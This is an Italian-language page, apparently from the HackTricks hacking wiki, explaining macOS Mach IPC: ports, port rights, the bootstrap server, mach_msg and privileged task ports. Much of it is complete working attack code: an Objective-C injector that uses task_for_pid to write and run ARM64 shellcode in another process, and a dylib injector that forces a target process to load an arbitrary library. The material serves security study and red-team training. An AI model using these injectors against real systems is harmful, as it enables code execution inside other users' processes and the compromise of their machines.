macOS IPC - Comunicazione tra Processi
Reading time: 24 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Messaggi Mach tramite Porte
Informazioni di Base
Mach utilizza compiti come la più piccola unità per la condivisione delle risorse, e ogni compito può contenere più thread. Questi compiti e thread sono mappati 1:1 a processi e thread POSIX.
La comunicazione tra compiti avviene tramite la Comunicazione Inter-Processo Mach (IPC), utilizzando canali di comunicazione unidirezionali. I messaggi vengono trasferiti tra porte, che agiscono come code di messaggi gestite dal kernel.
Ogni processo ha una tabella IPC, in cui è possibile trovare le porte mach del processo. Il nome di una porta mach è in realtà un numero (un puntatore all'oggetto kernel).
Un processo può anche inviare un nome di porta con alcuni diritti a un compito diverso e il kernel farà apparire questa voce nella tabella IPC dell'altro compito.
Diritti di Porta
I diritti di porta, che definiscono quali operazioni un compito può eseguire, sono fondamentali per questa comunicazione. I possibili diritti di porta sono (definizioni da qui):
- Diritto di ricezione, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (produttore multiplo, consumatore singolo), il che significa che può esserci solo un diritto di ricezione per ogni porta nell'intero sistema (a differenza delle pipe, dove più processi possono detenere descrittori di file per l'estremità di lettura di una pipe).
- Un compito con il Diritto di Ricezione può ricevere messaggi e creare diritti di Invio, consentendogli di inviare messaggi. Inizialmente solo il proprio compito ha il Diritto di Ricezione sulla sua porta.
- Diritto di invio, che consente di inviare messaggi alla porta.
- Il diritto di invio può essere clonato in modo che un compito che possiede un diritto di invio possa clonare il diritto e concederlo a un terzo compito.
- Diritto di invio una sola volta, che consente di inviare un messaggio alla porta e poi scompare.
- Diritto di insieme di porte, che denota un insieme di porte piuttosto che una singola porta. Dequeuing un messaggio da un insieme di porte dequeues un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte simultaneamente, molto simile a
select
/poll
/epoll
/kqueue
in Unix. - Nome morto, che non è un vero e proprio diritto di porta, ma semplicemente un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta si trasformano in nomi morti.
I compiti possono trasferire diritti di INVIO ad altri, consentendo loro di inviare messaggi di ritorno. I diritti di INVIO possono anche essere clonati, quindi un compito può duplicare e dare il diritto a un terzo compito. Questo, combinato con un processo intermedio noto come bootstrap server, consente una comunicazione efficace tra i compiti.
Porte di File
Le porte di file consentono di incapsulare descrittori di file in porte Mac (utilizzando diritti di porta Mach). È possibile creare un fileport
da un FD dato utilizzando fileport_makeport
e creare un FD da un fileport utilizzando fileport_makefd
.
Stabilire una comunicazione
Passaggi:
Come menzionato, per stabilire il canale di comunicazione, è coinvolto il bootstrap server (launchd in mac).
- Il compito A avvia una nuova porta, ottenendo un diritto di RICEZIONE nel processo.
- Il compito A, essendo il detentore del diritto di RICEZIONE, genera un diritto di INVIO per la porta.
- Il compito A stabilisce una connessione con il bootstrap server, fornendo il nome del servizio della porta e il diritto di INVIO attraverso una procedura nota come registrazione bootstrap.
- Il compito B interagisce con il bootstrap server per eseguire una ricerca bootstrap per il nome del servizio. Se ha successo, il server duplica il diritto di INVIO ricevuto dal Compito A e lo trasmette al Compito B.
- Dopo aver acquisito un diritto di INVIO, il Compito B è in grado di formulare un messaggio e inviarlo al Compito A.
- Per una comunicazione bidirezionale, di solito il compito B genera una nuova porta con un diritto di RICEZIONE e un diritto di INVIO, e concede il diritto di INVIO al Compito A in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
Il bootstrap server non può autenticare il nome del servizio rivendicato da un compito. Ciò significa che un compito potrebbe potenzialmente impersonare qualsiasi compito di sistema, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta.
Successivamente, Apple memorizza i nomi dei servizi forniti dal sistema in file di configurazione sicuri, situati in directory protette da SIP: /System/Library/LaunchDaemons
e /System/Library/LaunchAgents
. Accanto a ciascun nome di servizio, è anche memorizzato il binario associato. Il bootstrap server creerà e manterrà un diritto di RICEZIONE per ciascuno di questi nomi di servizio.
Per questi servizi predefiniti, il processo di ricerca differisce leggermente. Quando un nome di servizio viene cercato, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente:
- Il compito B avvia una ricerca bootstrap per un nome di servizio.
- launchd verifica se il compito è in esecuzione e, se non lo è, lo avvia.
- Il compito A (il servizio) esegue un check-in bootstrap. Qui, il bootstrap server crea un diritto di INVIO, lo trattiene e trasferisce il diritto di RICEZIONE al Compito A.
- launchd duplica il diritto di INVIO e lo invia al Compito B.
- Il compito B genera una nuova porta con un diritto di RICEZIONE e un diritto di INVIO, e concede il diritto di INVIO al Compito A (il svc) in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
Tuttavia, questo processo si applica solo ai compiti di sistema predefiniti. I compiti non di sistema operano ancora come descritto originariamente, il che potrebbe potenzialmente consentire l'impersonificazione.
Un Messaggio Mach
Trova ulteriori informazioni qui
La funzione mach_msg
, essenzialmente una chiamata di sistema, è utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia l'argomento iniziale. Questo messaggio deve iniziare con una struttura mach_msg_header_t
, seguita dal contenuto del messaggio effettivo. La struttura è definita come segue:
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
I process che possiedono un diritto di ricezione possono ricevere messaggi su una porta Mach. Al contrario, ai mittenti viene concesso un diritto di invio o un diritto di invio una sola volta. Il diritto di invio una sola volta è esclusivamente per inviare un singolo messaggio, dopo di che diventa invalido.
Per ottenere una facile comunicazione bidirezionale, un processo può specificare una porta mach nell'intestazione del messaggio chiamata porta di risposta (msgh_local_port
) dove il ricevente del messaggio può inviare una risposta a questo messaggio. I bitflags in msgh_bits
possono essere utilizzati per indicare che un diritto di invio una sola volta dovrebbe essere derivato e trasferito per questa porta (MACH_MSG_TYPE_MAKE_SEND_ONCE
).
tip
Nota che questo tipo di comunicazione bidirezionale è utilizzato nei messaggi XPC che si aspettano una risposta (xpc_connection_send_message_with_reply
e xpc_connection_send_message_with_reply_sync
). Ma di solito vengono create porte diverse come spiegato in precedenza per creare la comunicazione bidirezionale.
Gli altri campi dell'intestazione del messaggio sono:
msgh_size
: la dimensione dell'intero pacchetto.msgh_remote_port
: la porta su cui questo messaggio è inviato.msgh_voucher_port
: mach vouchers.msgh_id
: l'ID di questo messaggio, che è interpretato dal ricevente.
caution
Nota che i messaggi mach vengono inviati su una _porta mach_, che è un canale di comunicazione a singolo ricevente, multipli mittenti integrato nel kernel mach. Più processi possono inviare messaggi a una porta mach, ma in qualsiasi momento solo un singolo processo può leggere da essa.
Enumerare porte
lsmp -p <pid>
Puoi installare questo strumento su iOS scaricandolo da http://newosxbook.com/tools/binpack64-256.tar.gz
Esempio di codice
Nota come il mittente alloca una porta, crea un diritto di invio per il nome org.darlinghq.example
e lo invia al server di bootstrap mentre il mittente richiede il diritto di invio di quel nome e lo utilizza per inviare un messaggio.
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
Porte Privilegiate
- Porta host: Se un processo ha il privilegio di Invio su questa porta, può ottenere informazioni sul sistema (ad es.
host_processor_info
). - Porta priv di host: Un processo con diritto di Invio su questa porta può eseguire azioni privilegiate come caricare un'estensione del kernel. Il processo deve essere root per ottenere questo permesso.
- Inoltre, per chiamare l'API
kext_request
è necessario avere altri diritticom.apple.private.kext*
che sono concessi solo ai binari Apple. - Porta nome task: Una versione non privilegiata della porta task. Riferisce al task, ma non consente di controllarlo. L'unica cosa che sembra essere disponibile attraverso di essa è
task_info()
. - Porta task (nota anche come porta kernel): Con permesso di Invio su questa porta è possibile controllare il task (leggere/scrivere memoria, creare thread...).
- Chiama
mach_task_self()
per ottenere il nome di questa porta per il task chiamante. Questa porta è solo ereditaria attraversoexec()
; un nuovo task creato confork()
ottiene una nuova porta task (come caso speciale, un task ottiene anche una nuova porta task dopoexec()
in un binario suid). L'unico modo per generare un task e ottenere la sua porta è eseguire il "port swap dance" mentre si esegue unfork()
. - Queste sono le restrizioni per accedere alla porta (da
macos_task_policy
dal binarioAppleMobileFileIntegrity
): - Se l'app ha il diritto
com.apple.security.get-task-allow
, i processi dello stesso utente possono accedere alla porta task (comunemente aggiunto da Xcode per il debug). Il processo di notarizzazione non lo consentirà per le versioni di produzione. - Le app con il diritto
com.apple.system-task-ports
possono ottenere la porta task per qualsiasi processo, tranne il kernel. Nelle versioni precedenti era chiamatotask_for_pid-allow
. Questo è concesso solo alle applicazioni Apple. - Root può accedere alle porte task delle applicazioni non compilate con un runtime indurito (e non da Apple).
Iniezione di Shellcode in thread tramite Porta task
Puoi prendere un shellcode da:
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
Compila il programma precedente e aggiungi le entitlements per poter iniettare codice con lo stesso utente (altrimenti dovrai usare sudo).
sc_injector.m
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
Iniezione di Dylib in thread tramite Task port
In macOS i thread possono essere manipolati tramite Mach o utilizzando l'api posix pthread
. Il thread che abbiamo generato nell'iniezione precedente è stato generato utilizzando l'api Mach, quindi non è conforme a posix.
È stato possibile iniettare un semplice shellcode per eseguire un comando perché non doveva funzionare con api conformi a posix, solo con Mach. Iniezioni più complesse richiederebbero che il thread fosse anche conforme a posix.
Pertanto, per migliorare il thread dovrebbe chiamare pthread_create_from_mach_thread
che creerà un pthread valido. Poi, questo nuovo pthread potrebbe chiamare dlopen per caricare una dylib dal sistema, quindi invece di scrivere nuovo shellcode per eseguire diverse azioni è possibile caricare librerie personalizzate.
Puoi trovare dylibs di esempio in (ad esempio quella che genera un log e poi puoi ascoltarlo):
Macos Dyld Hijacking And Dyld Insert Libraries
dylib_injector.m
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
Thread Hijacking via Task port
In questa tecnica un thread del processo viene hijacked:
macOS Thread Injection via Task port
XPC
Informazioni di base
XPC, che sta per XNU (il kernel utilizzato da macOS) inter-Process Communication, è un framework per la comunicazione tra processi su macOS e iOS. XPC fornisce un meccanismo per effettuare chiamate di metodo sicure e asincrone tra diversi processi sul sistema. Fa parte del paradigma di sicurezza di Apple, consentendo la creazione di applicazioni separate per privilegi in cui ogni componente viene eseguito con solo i permessi necessari per svolgere il proprio lavoro, limitando così il potenziale danno derivante da un processo compromesso.
Per ulteriori informazioni su come questa comunicazione funziona e su come potrebbe essere vulnerabile, controlla:
MIG - Mach Interface Generator
MIG è stato creato per semplificare il processo di creazione del codice Mach IPC. Fondamentalmente genera il codice necessario affinché server e client comunichino con una definizione data. Anche se il codice generato è brutto, un sviluppatore dovrà solo importarlo e il suo codice sarà molto più semplice di prima.
Per ulteriori informazioni, controlla:
macOS MIG - Mach Interface Generator
Riferimenti
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.